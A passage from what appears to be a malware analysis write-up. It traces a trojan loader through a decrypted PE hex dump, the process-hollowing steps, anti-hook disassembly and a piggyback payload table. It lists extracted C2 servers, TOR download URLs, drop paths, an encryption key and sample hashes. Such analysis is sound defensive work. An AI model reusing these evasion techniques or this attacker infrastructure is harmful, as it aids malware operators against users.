decrypted payload data with missing MZ signature01EE5FFF 00 00 00 90 00 03 00 00 00 04 00 00 00 FF FF 00 ................
01EE600F 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 ................
01EE601F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
01EE602F 00 00 00 00 00 00 00 00 00 00 00 00 00 F8 00 00 ................
01EE603F 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 ...............T
01EE604F 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E his program cann
01EE605F 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 ot be run in DOS
01EE606F 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 mode....$......
From here, the rest of the shellcode goes pretty straightforward:
- creates a suspended process
- rewrites the process data with the payload one
- resumes the process
Something worth mentioning is that the shellcode has anti hook protection on the NtWriteVirtualMemory, NtTerminateThread, NtOpenEvent and NtResumeThread functions.
anti hooking protection00631BEB 8B5C24 04 MOV EBX,DWORD PTR SS:[ESP+4]
00631BEF 8A03 MOV AL,BYTE PTR DS:[EBX]
00631BF1 3C E9 CMP AL,0E9 ; JMP opcode
00631BF3 75 38 JNZ SHORT 00631C2D ; jump if not hooked
00631BF5 31C9 XOR ECX,ECX
00631BF7 41 INC ECX ;/ Try to locate original EP byte
00631BF8 8A040B MOV AL,BYTE PTR DS:[EBX+ECX] ;|
00631BFB 3C B8 CMP AL,0B8 ;\ MOV opcode
00631BFD ^75 F8 JNZ SHORT 00631BF7
...snip...
00631C2D C2 0400 RETN 4
The payload loader
Well, what do you know?
As expected, the payload turned out to be the same obfuscation layer used over a malware that attacked Bulgarian users few months ago.
Encrypted .BSS section (that holds the trojan strings), triggered by user mouse pointer interaction:
String table decryption004015F8 |> 8D4424 2C /LEA EAX,DWORD PTR SS:[ESP+2C]
004015FC |. 50 |PUSH EAX ; /pCursorinfo
004015FD |. C74424 30 1400>|MOV DWORD PTR SS:[ESP+30],14 ; |
00401605 |. FF15 00724000 |CALL DWORD PTR DS:[<&USER32.GetCursorIn>; \GetCursorInfo
0040160B |. 8B4424 3C |MOV EAX,DWORD PTR SS:[ESP+3C]
0040160F |. 2BC3 |SUB EAX,EBX
00401611 |. 2BC7 |SUB EAX,EDI
00401613 |. 034424 38 |ADD EAX,DWORD PTR SS:[ESP+38]
00401617 |. 50 |PUSH EAX ; /Arg1
00401618 |. E8 772F0000 |CALL payload_.00404594 ; \payload_.00404594
0040161D |. 8B7C24 38 |MOV EDI,DWORD PTR SS:[ESP+38]
00401621 |. 8B5C24 3C |MOV EBX,DWORD PTR SS:[ESP+3C]
00401625 |. 8BF0 |MOV ESI,EAX
00401627 |. 83FE 0C |CMP ESI,0C
0040162A |.^74 CC \JE SHORT payload_.004015F8
First let's find the piggyback table located right after the PE sections:
piggyback table004002E0 4A 31 00 00 00 20 01 00 8A 2A 04 7A 00 B2 00 00
004002F0 41 00 00 00 4A 31 00 00 05 00 01 00 A7 CE 75 4F
00400300 00 B4 00 00 00 00 03 00 4A 31 00 00 0D 00 01 00
00400310 B4 AA F8 90 00 6E 02 00 00 DC 03 00 00 00 00 00
convert it into the proper format:
formatted piggyback tablestruct UNKNOWN {
DWORD PIGGYBACK.egg; // = 0x0000314A
DWORD PIGGYBACK.flags; // = 0x00012000
DWORD PIGGYBACK.id; // = 0x7A042A8A
DWORD PIGGYBACK.data_offset; // = 0x0000B200
DWORD PIGGYBACK.data_size; // = 0x00000041
}
struct X86_PAYLOAD {
DWORD PIGGYBACK.egg; // = 0x0000314A
DWORD PIGGYBACK.flags; // = 0x00010005
DWORD PIGGYBACK.id; // = 0x4F75CEA7
DWORD PIGGYBACK.data_offset; // = 0x0000B400
DWORD PIGGYBACK.data_size; // = 0x00030000
}
struct X64_PAYLOAD {
DWORD PIGGYBACK.egg; // = 0x0000314A
DWORD PIGGYBACK.flags; // = 0x0001000D
DWORD PIGGYBACK.id; // = 0x90F8AAB4
DWORD PIGGYBACK.data_offset; // = 0x00026E00
DWORD PIGGYBACK.data_size; // = 0x0003DC00
}
and dump the final payload.
Yep, same threat as the last time, so here's some interesting information from the trojan configuration:
CNC server (raw): pornolab.net
CNC server (TOR): cxzko43pnr7ujnte.onion
TOR client download location (x86 version): groupcreatedt.at/x32.bin
TOR client drop location (x86 version): file://%appdata%/system32.dll
TOR client download location (x64 version): groupcreatedt.at/x64.bin
TOR client drop location (x64 version): file://%appdata%/system64.dll
Serpent encryption key: Dfei8OoQ0xhjTyql
And that's all, folks!
Appendix A:
File name: sample.js
File type: JScript (JS)
File size: 54 296 bytes
File md5: 90F8F9270E5025A8DF456BF07DBC1A64
File name: jamaat.bin
File type: PE/COFF (EXE)
File size: 589 824 bytes
File md5: 85CD777C240D80ED0DD6216DEFAF4367
File compile time: 26 Feb 2017, 20:03:17
File name: jamaat_payload.bin
File type: PE/COFF (EXE)
File size: 280 064 bytes
File md5: BCF2148D924E773CB375DE77817F425D
File compile time: 26 Feb 2017, 20:01:55
File name: payload_x86.bin
File type: PE/COFF (DLL)
File size: 196 608 bytes
File md5: 595C1857A30B89CDE52D4E3AAF49519D
File compile time: 26 Feb 2017, 20:01:53
File name: payload_x64.bin
File type: PE/COFF (DLL)
File size: 252 928 bytes
File md5: B2503FB9987ED6816130A64DCF298321
File compile time: 26 Feb 2017, 20:03:17